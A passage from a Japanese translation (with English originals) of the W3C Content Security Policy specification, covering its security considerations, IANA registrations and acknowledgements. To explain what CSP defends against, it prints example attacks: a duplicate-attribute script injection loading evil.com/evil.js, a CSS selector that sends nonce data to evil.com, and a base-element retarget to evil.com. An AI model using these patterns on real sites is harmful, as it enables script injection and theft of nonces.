`要素は~nonce可能か?$A ~algoは、[ `script$e, `style$e ]要素の属性を走査して,その名前や値から文字列[ `<script^l / `<style^l ]を探し出すことで、 この特定の攻撃を軽減しようと試みるものである。 ◎ The § 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "<script" or "<style" in their names or values.
~UAは、 この~algoを実装するときには, 重複な属性を無視しないよう~~特段の注意を払う必要がある。 要素が重複な属性を有する場合,最初を除く属性~instanceが無視されるが、 `要素は~nonce可能か?$A~algoにおいては,それらすべての属性が検査される必要がある。 ◎ User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.
現在の~HTML仕様の構文解析~algoは、 `要素は~nonce可能か?$A~algoを走らす前に この情報を除去しているため, 重複な属性を実際に検出するのはアリでない。 [`whatwg/html 課題 #3257@~HTMLissue/3257$] ◎ Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [Issue #whatwg/html#3257]
【この節の残りの内容は、上の例と~~重複しているので,和訳は省略する。】 ◎ For the following example page: Hello, [INJECTION POINT] <script nonce=abc src=/good.js></script> The following injected string will use a duplicate attribute to attempt to bypass the § 6.7.3.1 Is element nonceable? algorithm check: Hello, <script src='https://evil.com/evil.js' x="" x= <script nonce="abcd" src=/good.js></script>
7.2.2. 内容~属性を介する~nonceの漏出
~CSPに対する攻撃には、 内容~属性を読取れるような様々な仕組みを介して~nonce~dataを漏出する( `exfiltrate^en )能に依拠するものがある。 最も~~簡単な例として、 次のような~CSS `部分照合 属性~選択子@~SELECTORS4#attribute-substrings$ の利用を通して,攻撃者の~serverへ送信する方法が挙げられる (漏出された~dataは、 後で再利用されることになる): ◎ Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:
script[nonce=^a]【!script[nonce=a]】 { background: url("https://evil.com/nonce?a");}
【 この例では、 `nonce^a 値の一部の情報(先頭の文字は `a^l かどうか)のみ漏出される — 実際の攻撃では、 似たような多数の選択子を用いて完全な情報を得ることになる。 (前提として、 攻撃者はそのような~CSSを注入できるとする。) 】
【! http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html】§ `nonce$a は、 要素の内容~属性による~nonceを内部~slotの中へ移動して隠すことにより, これらの型の攻撃を軽減することについて~~述べている。 これは、 `nonce^a 値は~script以外には~~直に公開されないことを確保するために行われる。 ◎ The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.
7.3. ~nonceの再~target法
~nonceは、 `host-source$p 式を迂回して, 開発者がどの生成元からも~codeを読込めるようにする。 これは一般に,開発者の視点からは~~好都合になるが、 攻撃者が `base$e 要素を注入できる場合、 さもなければ安全だった~pageは,相対~URLの解決-時に打破され得る。 すなわち, `https://example.com/^s 上の~code: ◎ Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an attacker can inject a base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:
<script nonce=abc src=/good.js></script>
は, `https://example.com/good.js^s を読込むことになるが、 次の~codeは, `https://evil.com/good.js^s を読込むことになる: ◎ However, the following will load https://evil.com/good.js:
<base href="https://evil.com"> <script nonce=abc src=/good.js></script>
この~riskを軽減するため、 あらゆる~pageに明示的な `base$e 要素を設定するか,または、 ~pageの施策に `base-uri$dir 指令 — 例: `base-uri$p `none^pl — を設定して,攻撃者が自前の `base$e 要素を注入する能を制限することを勧める。 ◎ To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your page’s policy. For example, base-uri 'none'.
7.4. ~CSS構文解析
`style-src$dir 指令は、[ 保護される資源が,~styleをどの所在から読込めるか ]を制約する。 しかしながら,~UAの~CSS構文解析~algoが緩い場合、 攻撃者は,[ 他では信用に価する生成元に~hostされている悪意的な “~stylesheet” を受容する ]よう~UAを騙せるかもしれない。 ◎ The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.
これらの攻撃は、 2009 年に `Chris Evans^en 氏が述べた,~CSS非同一-生成元~data漏洩e攻撃 `CSS-ABUSE$r に類似する。 いずれの攻撃に対しても、 ~UAは,同じ仕組み — ~MIME型が不適正な~stylesheetに対しては,より厳密な~CSS構文解析~規則を適用する — で防御するベキである: ◎ These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.
7.5. 違反~報告
この文書における違反~報告-法の仕組みは、[ 悪意的な~web~siteが,違反~報告を利用して,他の~serverの挙動を探査する~risk ]を軽減するように設計されている。 例えば,画像の~sourceとして `https://example.com^s を許容している,悪意的な~web~siteを考える。 この~siteが、 【 `example.com^s の~log-in用~pageの~URLである】 `https://example.com/login^s を画像として読込もうと試みた場合、 `example.com^s の~serverが,ある `identity provider^en†(例えば `identityprovider.example.net^s とする)へ~redirectしたとするとき、 ~CSPにより,その要請は阻止されることになる。 仮に,阻止された~URLを,違反~報告に全部的に包含することにした場合、 違反~報告に,~redirect先の~URL内に[ ~session識別子や `purported identities^en††などの敏感な情報 ]が包含されていれば,それも包含することになる。 この理由から、 ~UAは,~redirect~targetではなく 元の要請の~URLを違反~報告に含むようにしている。 ◎ The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g. identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target.
【† “`identity provider^en” ( IdP とも略称される)とは、 個人認証サービスを専門に供するプロバイダを指すと思われる。 】【†† “`purported identities^en(ある特定目的の識別情報)” とは、 現実の個人を識別することは含意しないような, (当の~site~~専用の)異なる個人を別人として識別するための情報と見受けられる。 】
違反~報告は、 攻撃者により制御される~dataと見なされるべきである。 開発者は,~dashboardに類する~service内に違反~報告を収集したいと望むときは、 内容を具現化する前に,適正に~escapeするよう気を付けるべきである (また,おそらく、 注入の~riskを更に軽減するため,それ自体も~CSPを利用するべきである)。 このことは,とりわけ、[ 違反~報告の `script-sample^l ~prop/ `SecurityPolicyViolationEvent$I の `sample$vE 属性 ]に該当する — 両者とも完全に攻撃者により制御される文字列なので。 ◎ Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "script-sample" property of violation reports, and the sample property of SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.
7.6. ~pathと~redirect
~path情報が( `Egor Homakov^en 氏により論じられた `Using Content-Security-Policy for Evil@https://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html$en により)非同一-生成元に漏洩されるのを避けるため、 読込まれている資源が~redirectの結果である場合, 照合~algoは~source式を成す~path成分を無視する。 例えば,~pageにて作動中な施策として `img-src$dir example.com example.org/path が与えられているとする: ◎ To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:
- `https://example.org/not-path^s を直に読込んでも、 この施策には合致しないので,失敗することになる。 ◎ Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.
- `https://example.com/redirector^s を直に読込んだ場合、 `example.com^s に合致するので,合格することになる。 ◎ Directly loading https://example.com/redirector would pass, as it matches example.com.
- `https://example.com/redirector^s が `https://example.org/not-path^s を指している~redirect応答を送達するとする。 この場合、 読込ngは成功することになる — 初期~URLは `example.com^s に合致し, ~redirect~targetは その~path成分を無視すれば `example.org/path^s に合致するので。 ◎ Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.
この制約は、 ~redirectが生じることになるとき,文書の施策の細かさを抑制する。 それは、 この型の総当たりによる情報~漏洩を避けるために必要yな妥協点である。 ◎ This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.
public-webappsec@w3.org における長い~thread “`Remove paths from CSP?@https://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html$en(~CSPから~pathを除去するか?)” にて,代替-提案に関する詳細が論じられている。 ◎ The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.
7.7. ~secureな昇格
`Yan Zhu^en 氏による `Sniffly@http://diracdeltas.github.io/sniffly/$en の様な, ある種の履歴走査~攻撃( `history-scanning^en )を軽減するため、 ~CSPは,~pageが[ `script-src http://example.com^s の様な施策を介して,自身を~secureでない~URLに~lockする ]ことを許容しない。 § `scheme-part^p の照合-法 にて述べたとおり、 ~source式の~scheme成分に対しては,常に~secureな~schemeへの昇格が許容されることになる。 ◎ To mitigate one variant of history-scanning attacks like Yan Zhu’s Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like script-src http://example.com. As described in § 6.7.2.9 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a secure variant.
7.8. 迂回を避けるための~CSPの継承-法
`局所的$urlな~URL【!`局所~scheme$】から読込まれる文書は,~source文書における施策を複製して継承することになる。 その目標は、[ ~pageが次を行っても,自身の施策を迂回できない ]ことを確保することである ⇒ [ 次に挙げるような,自身が全体を制御できる内容 ]を包含している[ ~frameを埋込む / 新たな~windowを開く ] ⇒ `document.write()^m 等々を介して操作できるような[ `~iframe-srcdoc文書$ / `blob_^sc ~URL / `data_^sc ~URL / `about_blank^sc 文書 ] ◎ Documents loaded from local schemes will inherit a copy of the policies in the source document. The goal is to ensure that a page can’t bypass its policy by embedding a frame or opening a new window containing content that is entirely under its control (srcdoc documents, blob: or data: URLs, about:blank documents that can be manipulated via document.write(), etc).
これが起こらなかった場合、 ~pageは — 自身の実行~文脈~内に `unsafe-inline^pl を伴わずとも — 単純に `srcdoc^a を伴う `iframe^e を埋込むことで,~inlineな~scriptを実行できるようになる: ◎ If this would not happen a page could execute inline scripts even without unsafe-inline in the page’s execution context by simply embedding a srcdoc iframe.
<iframe srcdoc="<script>alert(1);</script>"></iframe>
~source`文書$が`有する~CSP~list$は、 複製されることに注意。 新たな`文書$が`有する~CSP~list$は,関連な施策の作成-時における~snapshotであり、 一方の`~CSP~list$【!`~CSP~list$gO】が改変されても,他方には影響しない。 ◎ Note that we create a copy of the CSP list which means that the new Document's CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new Document won’t affect the source Document's CSP list or vice-versa.
次の例の `iframe^e の内側にある画像( `img^e )は、 読込まれないことになる — それは `iframe^e の `meta^e ~tag内の施策により阻止されるので。 `iframe^e の外側にある画像は、 (~~元の~pageの施策により阻止されなければ)読込まれることになる — `iframe^e 内に挿入される施策は、 ~~元の~pageの施策には影響しないので。 ◎ In the example below the image inside the iframe will not load because it is blocked by the policy in the meta tag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it.
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;"> <img src="not-example.com/image">' ></iframe> <img src="not-example.com/image">
9. 実装にあたっての考慮点
9.1. ~vendorに特有な拡張/~addon
資源~上に施行される`施策$は、[ ~addon, 拡張, ~bookmarklet ]などの,~UA特能の運用には干渉するベキでない。 `HTML-DESIGN$r にて信奉されているように、 この種の特能は,一般に~page作者より利用者に優先権を与えるものなので。 ◎ Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
更には、 この種の特能に~CSPを適用すると,その違反~報告において かなりの~noise~~源になり、 結果として,~web開発者にとっての価値は損われることになる。 ◎ Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.
例えば Chrome は, `chrome-extension_^sc ~schemeを~CSP検査から除外しており、 ~pageの施策に関わらず,拡張により駆動される注入は許容するような 何らかの仕事を行っている。 ◎ Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page’s policy.
10. IANA 考慮点
10.1. 指令~registry
`Content Security Policy Directive^cite (~CSP 指令)~registry `RFC7762$r は、 次の登録と参照により更新されるべきである 【 “参照” の欄は、各~指令の~link先と同じなので省略する】 : ◎ The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762]:
- `base-uri$dir
- `child-src$dir
- `connect-src$dir
- `default-src$dir
- `font-src$dir
- `form-action$dir
- `frame-ancestors$dir
- `frame-src$dir
- `img-src$dir
- `manifest-src$dir
- `media-src$dir
- `object-src$dir
- `report-uri$dir
- `report-to$dir
- `sandbox$dir
- `script-src$dir
- `script-src-attr$dir
- `script-src-elem$dir
- `style-src$dir
- `style-src-attr$dir
- `style-src-elem$dir
- `worker-src$dir
10.2. ~header登録
恒久的~message~header~registry `RFC3864$r 【今や,`~HTTP~field名~registry@~IANA-a/http-fields$】 は、 次の登録により更新されるべきである【すでに更新された】: ◎ The permanent message header field registry should be updated with the following registrations: [RFC3864]
~header名 | `Content-Security-Policy$h |
---|---|
`Content-Security-Policy-Report-Only$h | |
適用-可能な~protocol | http |
位置付け | standard【恒久的】 |
著作者/変更~制御者 | W3C |
仕様~文書 | この仕様 |
11. 謝辞
次に挙げる方々ならびに,~~貢献された多数の方々に: ◎ Lots of people are awesome. For instance:
- Mario and all of Cure53.
- Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google’s CSP Cabal.